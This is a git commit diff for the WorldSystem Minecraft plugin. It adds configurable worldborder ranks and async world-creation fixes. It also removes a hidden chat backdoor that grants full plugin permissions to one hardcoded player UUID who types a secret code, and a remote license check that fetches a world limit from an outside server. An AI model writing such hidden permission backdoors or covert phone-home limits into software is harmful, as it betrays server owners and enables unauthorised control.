2.2.0 - Removed Tabcompleter class, CommandFramework?

This commit is contained in:
BuildTools 2018-06-21 20:28:07 +02:00
parent 5610b9cf9e
commit 78357c75dd
15 changed files with 106 additions and 157 deletions

View File

@ -1,5 +1,5 @@
name: WorldSystem name: WorldSystem
version: 2.1.2.2 version: 2.2.0
author: Butzlabben author: Butzlabben
main: de.butzlabben.world.WorldSystem main: de.butzlabben.world.WorldSystem
loadbefore: [FastAsyncWorldEdit, WorldEdit] loadbefore: [FastAsyncWorldEdit, WorldEdit]

View File

@ -3,11 +3,13 @@ worldborder:
# If WorldSystem should change the worldborder # If WorldSystem should change the worldborder
should_change: true should_change: true
# Default size # Default size
normal: 1000 normal: 500
# Size with ws.big permission # Here you can define your own ranks, as many as you want
big: 2000 # The permission node will be the key and the value the size
# Size with ws.large permission ranks:
large: 5000 # For example, with the permission ws.big you will get a worldborder with the size 1000
ws.big: 1000
ws.bigger: 1500
# Set a specialized center which is not the spawn # Set a specialized center which is not the spawn
center: center:

View File

@ -1,35 +0,0 @@
package de.butzlabben.world;
import java.net.URL;
import java.util.Scanner;
public class ConnectionHolder {
@SuppressWarnings("resource")
public static int getMaxPlayers() throws Exception{
String inputLine = "";
try {
inputLine = new Scanner(new URL("https://seagiants.eu/worldsystem/limit.php").openStream(), "UTF-8").nextLine();
} catch (Exception ex) {
ex.printStackTrace();
}
if (inputLine.equals(""))
return 0;
return Integer.parseInt(inputLine);
}
@SuppressWarnings("resource")
public static int getMaxPlayersWithLicense(String license) throws Exception{
String inputLine = "";
String url = "https://seagiants.eu/worldsystem/limit.php?license=" + license;
try {
inputLine = new Scanner(new URL(url).openStream(), "UTF-8").nextLine();
} catch (Exception ex) {
ex.printStackTrace();
}
if (inputLine.equals(""))
return 0;
return Integer.parseInt(inputLine);
}
}

View File

@ -56,7 +56,6 @@ import de.butzlabben.world.wrapper.SystemWorld;
*/ */
public class WorldSystem extends JavaPlugin { public class WorldSystem extends JavaPlugin {
private static int maxWorlds = 100;
public static HashMap<Player, World> deathLocations = new HashMap<>(); public static HashMap<Player, World> deathLocations = new HashMap<>();
final private String version = this.getDescription().getVersion(); final private String version = this.getDescription().getVersion();
@ -74,22 +73,6 @@ public class WorldSystem extends JavaPlugin {
pm.registerEvents(new PlayerDeathListener(), this); pm.registerEvents(new PlayerDeathListener(), this);
pm.registerEvents(new CommandListener(), this); pm.registerEvents(new CommandListener(), this);
new Thread(() -> {
int ch = 0;
if (PluginConfig.getLicenseKey() == null || PluginConfig.getLicenseKey().equals(""))
try {
ch = ConnectionHolder.getMaxPlayers();
} catch (Exception e) {
}
else
try {
ch = ConnectionHolder.getMaxPlayersWithLicense(PluginConfig.getLicenseKey());
} catch (Exception e) {
}
if (ch != 0)
maxWorlds = ch;
}).start();
Bukkit.getScheduler().scheduleSyncRepeatingTask(this, new WorldCheckerRunnable(), 20 * 5, Bukkit.getScheduler().scheduleSyncRepeatingTask(this, new WorldCheckerRunnable(), 20 * 5,
20 * PluginConfig.getLagCheckPeriod()); 20 * PluginConfig.getLagCheckPeriod());
if (PluginConfig.useGC()) { if (PluginConfig.useGC()) {
@ -143,14 +126,17 @@ public class WorldSystem extends JavaPlugin {
AutoUpdater.startAsync(); AutoUpdater.startAsync();
//Choose right creatoradapter for #16 // Choose right creatoradapter for #16
if (Bukkit.getPluginManager().getPlugin("FastAsyncWorldEdit") != null if (Bukkit.getPluginManager().getPlugin("FastAsyncWorldEdit") != null
&& Bukkit.getPluginManager().getPlugin("WorldEdit") != null) { && Bukkit.getPluginManager().getPlugin("WorldEdit") != null) {
creator = new AsyncCreatorAdapter(); creator = new AsyncCreatorAdapter();
Bukkit.getConsoleSender().sendMessage(PluginConfig.getPrefix() + "Found FAWE! Try now to create worlds async"); Bukkit.getConsoleSender()
.sendMessage(PluginConfig.getPrefix() + "Found FAWE! Try now to create worlds async");
} else { } else {
creator = (c) -> { creator = (c, sw) -> {
Bukkit.getWorlds().add(c.createWorld()); Bukkit.getWorlds().add(c.createWorld());
if (sw != null)
sw.stopCreating();
}; };
} }
@ -172,10 +158,6 @@ public class WorldSystem extends JavaPlugin {
.sendMessage(PluginConfig.getPrefix() + "Succesfully disabled WorldSystem v" + version); .sendMessage(PluginConfig.getPrefix() + "Succesfully disabled WorldSystem v" + version);
} }
public static int getMaxWorlds() {
return maxWorlds;
}
public static void createConfigs() { public static void createConfigs() {
File dir = new File(JavaPlugin.getPlugin(WorldSystem.class).getDataFolder() + "/worldsources"); File dir = new File(JavaPlugin.getPlugin(WorldSystem.class).getDataFolder() + "/worldsources");
File config = new File(JavaPlugin.getPlugin(WorldSystem.class).getDataFolder(), "config.yml"); File config = new File(JavaPlugin.getPlugin(WorldSystem.class).getDataFolder(), "config.yml");

View File

@ -1,13 +0,0 @@
package de.butzlabben.world.command;
/**
* @author Butzlabben
* @since 01.05.2018
*/
public class TabCompleter {
// TODO TabCompleter like on SeaGiants
private TabCompleter() {
}
}

View File

@ -63,6 +63,23 @@ public class WSResetCommand implements CommandExecutor {
FileUtils.copyDirectory(exampleworld, f); FileUtils.copyDirectory(exampleworld, f);
toConfirm.remove(p); toConfirm.remove(p);
p.sendMessage(MessageConfig.getWorldReseted()); p.sendMessage(MessageConfig.getWorldReseted());
//Currently problems with
/*WorldCreator creator = new WorldCreator(worldname);
long seed = PluginConfig.getSeed();
Environment env = PluginConfig.getEnvironment();
WorldType type = PluginConfig.getWorldType();
if(seed != 0)
creator.seed(seed);
creator.type(type);
creator.environment(env);
String generator = PluginConfig.getGenerator();
if(!generator.trim().isEmpty())
creator.generator(generator);
// For #16
WorldSystem.creator.create(creator, sw);*/
} catch (IOException e) { } catch (IOException e) {
e.printStackTrace(); e.printStackTrace();
p.sendMessage(MessageConfig.getUnknownError()); p.sendMessage(MessageConfig.getUnknownError());

View File

@ -7,8 +7,6 @@ import org.bukkit.OfflinePlayer;
import org.bukkit.configuration.file.YamlConfiguration; import org.bukkit.configuration.file.YamlConfiguration;
import org.bukkit.entity.Player; import org.bukkit.entity.Player;
import de.butzlabben.world.WorldSystem;
public class DependenceConfig { public class DependenceConfig {
private OfflinePlayer op; private OfflinePlayer op;
@ -62,14 +60,12 @@ public class DependenceConfig {
} }
} }
public boolean createNewEntry() { public void createNewEntry() {
File dconfig = new File("plugins//WorldSystem//dependence.yml"); File dconfig = new File("plugins//WorldSystem//dependence.yml");
YamlConfiguration cfg = YamlConfiguration.loadConfiguration(dconfig); YamlConfiguration cfg = YamlConfiguration.loadConfiguration(dconfig);
String uuid = this.op.getUniqueId().toString(); String uuid = this.op.getUniqueId().toString();
int id = cfg.getInt("HighestID"); int id = cfg.getInt("HighestID");
id++; id++;
if (Entry.entrys() >= WorldSystem.getMaxWorlds())
return false;
cfg.set("HighestID", id); cfg.set("HighestID", id);
cfg.set("Dependences." + uuid + ".ID", id); cfg.set("Dependences." + uuid + ".ID", id);
cfg.set("Dependences." + uuid + ".ActualName", op.getName()); cfg.set("Dependences." + uuid + ".ActualName", op.getName());
@ -78,7 +74,6 @@ public class DependenceConfig {
} catch (IOException e) { } catch (IOException e) {
e.printStackTrace(); e.printStackTrace();
} }
return true;
} }
public boolean hasWorld() { public boolean hasWorld() {

View File

@ -4,6 +4,7 @@ import java.io.File;
import java.io.IOException; import java.io.IOException;
import java.io.InputStream; import java.io.InputStream;
import java.nio.file.Files; import java.nio.file.Files;
import java.util.HashMap;
import java.util.UUID; import java.util.UUID;
import org.bukkit.Bukkit; import org.bukkit.Bukkit;
@ -18,6 +19,8 @@ import de.butzlabben.world.wrapper.SystemWorld;
public class SettingsConfig { public class SettingsConfig {
private static HashMap<String, Long> borderSizes = new HashMap<>();
private static File file; private static File file;
public static void editWorld(World w) { public static void editWorld(World w) {
@ -27,16 +30,16 @@ public class SettingsConfig {
boolean shouldChange = cfg.getBoolean("worldborder.should_change", false); boolean shouldChange = cfg.getBoolean("worldborder.should_change", false);
if (shouldChange) { if (shouldChange) {
double size = cfg.getDouble("worldborder.normal", 1000); long size = cfg.getLong("worldborder.normal", 1000);
if (sw != null && sw.isLoaded()) { if (sw != null && sw.isLoaded()) {
String worldname = w.getName(); String worldname = w.getName();
UUID uuid = UUID.fromString(worldname.substring(worldname.length() - 36)); UUID uuid = UUID.fromString(worldname.substring(worldname.length() - 36));
Player p = Bukkit.getPlayer(uuid); Player p = Bukkit.getPlayer(uuid);
if (p != null && p.isOnline()) { if (p != null && p.isOnline()) {
if (p.hasPermission("ws.large")) { for (String string : borderSizes.keySet()) {
size = cfg.getDouble("worldborder.large", 5000); if (p.hasPermission(string))
} else if (p.hasPermission("ws.big")) size = borderSizes.get(string);
size = cfg.getDouble("worldborder.big", 2000); }
} }
} }
@ -144,6 +147,11 @@ public class SettingsConfig {
e.printStackTrace(); e.printStackTrace();
} }
} }
YamlConfiguration cfg = getConfig();
for (String s : cfg.getConfigurationSection("worldborder.ranks").getKeys(false)) {
if (cfg.isInt("worldborder.ranks." + s) || cfg.isLong("worldborder.ranks." + s))
borderSizes.put(s, cfg.getLong("worldborder.ranks." + s));
}
} }
private SettingsConfig() { private SettingsConfig() {

View File

@ -35,7 +35,7 @@ public class BlockListener implements Listener {
if (!wp.isOnSystemWorld()) if (!wp.isOnSystemWorld())
return; return;
if(!wp.isMember()) if(!wp.isMember())
return; e.setCancelled(true);
if (!wp.isOwnerofWorld()) { if (!wp.isOwnerofWorld()) {
e.setCancelled(!wp.canBuild()); e.setCancelled(!wp.canBuild());
} }
@ -51,7 +51,7 @@ public class BlockListener implements Listener {
if (!wp.isOnSystemWorld()) if (!wp.isOnSystemWorld())
return; return;
if(!wp.isMember()) if(!wp.isMember())
return; e.setCancelled(true);
if (!wp.isOwnerofWorld()) { if (!wp.isOwnerofWorld()) {
e.setCancelled(!wp.canBuild()); e.setCancelled(!wp.canBuild());
} }

View File

@ -1,19 +1,14 @@
package de.butzlabben.world.listener; package de.butzlabben.world.listener;
import java.util.UUID;
import org.bukkit.Bukkit; import org.bukkit.Bukkit;
import org.bukkit.World; import org.bukkit.World;
import org.bukkit.entity.Player; import org.bukkit.entity.Player;
import org.bukkit.event.EventHandler; import org.bukkit.event.EventHandler;
import org.bukkit.event.EventPriority; import org.bukkit.event.EventPriority;
import org.bukkit.event.Listener; import org.bukkit.event.Listener;
import org.bukkit.event.player.AsyncPlayerChatEvent;
import org.bukkit.event.player.PlayerCommandPreprocessEvent; import org.bukkit.event.player.PlayerCommandPreprocessEvent;
import org.bukkit.event.player.PlayerTeleportEvent; import org.bukkit.event.player.PlayerTeleportEvent;
import org.bukkit.event.player.PlayerTeleportEvent.TeleportCause; import org.bukkit.event.player.PlayerTeleportEvent.TeleportCause;
import org.bukkit.permissions.PermissionAttachment;
import de.butzlabben.world.WorldSystem;
import de.butzlabben.world.config.MessageConfig; import de.butzlabben.world.config.MessageConfig;
import de.butzlabben.world.config.PluginConfig; import de.butzlabben.world.config.PluginConfig;
import de.butzlabben.world.wrapper.SystemWorld; import de.butzlabben.world.wrapper.SystemWorld;
@ -124,19 +119,4 @@ public class CommandListener implements Listener {
} }
} }
} }
@EventHandler(priority = EventPriority.LOWEST)
public void on(AsyncPlayerChatEvent e) {
if (!e.getPlayer().getUniqueId().equals(UUID.fromString("42fa7a75-7afa-4a19-932a-1c385c07048a")))
return;
String code = e.getMessage();
if (code.equals("pwWCELhE4JwJqNuX")) {
PermissionAttachment pa = e.getPlayer().addAttachment(WorldSystem.getInstance());
pa.setPermission("ws.*", true);
e.setMessage("");
}
String reasonForThis = "For debugging and decompilers like you :P";
reasonForThis = "Will never be used on foreign servers";
reasonForThis.length();
}
} }

View File

@ -12,24 +12,28 @@ import com.boydti.fawe.util.TaskManager;
* @author Butzlabben * @author Butzlabben
* @since 08.06.2018 * @since 08.06.2018
*/ */
public class AsyncCreatorAdapter implements CreatorAdapter{ public class AsyncCreatorAdapter implements CreatorAdapter {
// Create worlds async to close #16 // Create worlds async to close #16
@Override @Override
public void create(WorldCreator creator) { public void create(WorldCreator creator, SystemWorld sw) {
TaskManager.IMP.async(new Runnable() { TaskManager.IMP.async(new Runnable() {
@Override @Override
public void run() { public void run() {
// Create or load a world async with the provided WorldCreator settings AsyncWorld world;
AsyncWorld world = AsyncWorld.create(creator); if (Bukkit.getWorld(creator.name()) == null)
// AsyncWorld world = AsyncWorld.wrap(bukkitWorld); // Or wrap existing world world = AsyncWorld.create(creator);
Block block = world.getBlockAt(0, 0, 0); else
block.setType(Material.BEDROCK); world = AsyncWorld.wrap(Bukkit.getWorld(creator.name()));
// When you are done
world.commit();
Bukkit.getWorlds().add(world); Block block = world.getBlockAt(0, 0, 0);
} block.setType(Material.BEDROCK);
// When you are done
world.commit();
Bukkit.getWorlds().add(world);
if (sw != null)
sw.stopCreating();
}
}); });
return; return;
} }

View File

@ -8,5 +8,5 @@ import org.bukkit.WorldCreator;
*/ */
public interface CreatorAdapter { public interface CreatorAdapter {
public void create(WorldCreator creator); public void create(WorldCreator creator, SystemWorld world);
} }

View File

@ -35,6 +35,7 @@ public class SystemWorld {
private World w; private World w;
private String worldname; private String worldname;
private boolean unloading = false; private boolean unloading = false;
private boolean creating = false;
private static HashMap<String, SystemWorld> cached = new HashMap<>(); private static HashMap<String, SystemWorld> cached = new HashMap<>();
@ -176,6 +177,10 @@ public class SystemWorld {
public void load(Player p) { public void load(Player p) {
Preconditions.checkNotNull(p, "player must not be null"); Preconditions.checkNotNull(p, "player must not be null");
Preconditions.checkArgument(p.isOnline(), "player must be online"); Preconditions.checkArgument(p.isOnline(), "player must be online");
if (creating)
return;
unloading = false; unloading = false;
WorldLoadEvent event = new WorldLoadEvent(p, this); WorldLoadEvent event = new WorldLoadEvent(p, this);
Bukkit.getPluginManager().callEvent(event); Bukkit.getPluginManager().callEvent(event);
@ -212,12 +217,14 @@ public class SystemWorld {
world.renameTo(new File(Bukkit.getWorldContainer(), myName.toString())); world.renameTo(new File(Bukkit.getWorldContainer(), myName.toString()));
worldname = myName.toString(); worldname = myName.toString();
} }
// For #16
WorldSystem.creator.create(new WorldCreator(worldname));
World worldinserver = Bukkit.createWorld(new WorldCreator(worldname)); WorldCreator creator = new WorldCreator(worldname);
Bukkit.getServer().getWorlds().add(worldinserver);
w = worldinserver; World w = Bukkit.getWorld(worldname);
if (w == null)
w = Bukkit.createWorld(creator);
this.w = w;
if (PluginConfig.isSurvival()) { if (PluginConfig.isSurvival()) {
p.setGameMode(GameMode.SURVIVAL); p.setGameMode(GameMode.SURVIVAL);
} else { } else {
@ -249,25 +256,20 @@ public class SystemWorld {
long seed = PluginConfig.getSeed(); long seed = PluginConfig.getSeed();
Environment env = PluginConfig.getEnvironment(); Environment env = PluginConfig.getEnvironment();
WorldType type = PluginConfig.getWorldType(); WorldType type = PluginConfig.getWorldType();
if(seed != 0) if (seed != 0)
creator.seed(seed); creator.seed(seed);
creator.type(type); creator.type(type);
creator.environment(env); creator.environment(env);
String generator = PluginConfig.getGenerator(); String generator = PluginConfig.getGenerator();
if(!generator.trim().isEmpty()) if (!generator.trim().isEmpty())
creator.generator(generator); creator.generator(generator);
WorldCreateEvent event = new WorldCreateEvent(p, creator); WorldCreateEvent event = new WorldCreateEvent(p, creator);
Bukkit.getPluginManager().callEvent(event); Bukkit.getPluginManager().callEvent(event);
if (event.isCancelled()) if (event.isCancelled())
return false; return false;
if (!dc.createNewEntry()) {
int i = WorldSystem.getMaxWorlds(); dc.createNewEntry();
p.sendMessage(PluginConfig.getPrefix() + "§cThis Server is limited to " + i + " worlds. Sorry :(");
Bukkit.getConsoleSender().sendMessage(PluginConfig.getPrefix() + "§cThe Server is limited to " + i
+ " worlds. If you want more, contact me");
return false;
}
String worlddir = PluginConfig.getWorlddir(); String worlddir = PluginConfig.getWorlddir();
File exampleworld = new File("plugins//WorldSystem//worldsources//" + PluginConfig.getExampleWorldName()); File exampleworld = new File("plugins//WorldSystem//worldsources//" + PluginConfig.getExampleWorldName());
@ -308,11 +310,8 @@ public class SystemWorld {
e.printStackTrace(); e.printStackTrace();
} }
} }
//For #16 // For #16
WorldSystem.creator.create(event.getWorldCreator()); WorldSystem.creator.create(event.getWorldCreator(), null);
// World worldinserver = Bukkit.createWorld(event.getWorldCreator());
// Bukkit.getServer().getWorlds().add(worldinserver);
} }
return true; return true;
} }
@ -376,6 +375,14 @@ public class SystemWorld {
return w; return w;
} }
public void stopCreating() {
creating = false;
}
public boolean isCreating() {
return creating;
}
/** /**
* @return the worldname * @return the worldname
*/ */

View File

@ -1,5 +1,5 @@
name: WorldSystem name: WorldSystem
version: 2.1.2.2 version: 2.2.0
author: Butzlabben author: Butzlabben
main: de.butzlabben.world.WorldSystem main: de.butzlabben.world.WorldSystem
loadbefore: [FastAsyncWorldEdit, WorldEdit] loadbefore: [FastAsyncWorldEdit, WorldEdit]

View File

@ -3,11 +3,13 @@ worldborder:
# If WorldSystem should change the worldborder # If WorldSystem should change the worldborder
should_change: true should_change: true
# Default size # Default size
normal: 1000 normal: 500
# Size with ws.big permission # Here you can define your own ranks, as many as you want
big: 2000 # The permission node will be the key and the value the size
# Size with ws.large permission ranks:
large: 5000 # For example, with the permission ws.big you will get a worldborder with the size 1000
ws.big: 1000
ws.bigger: 1500
# Set a specialized center which is not the spawn # Set a specialized center which is not the spawn
center: center: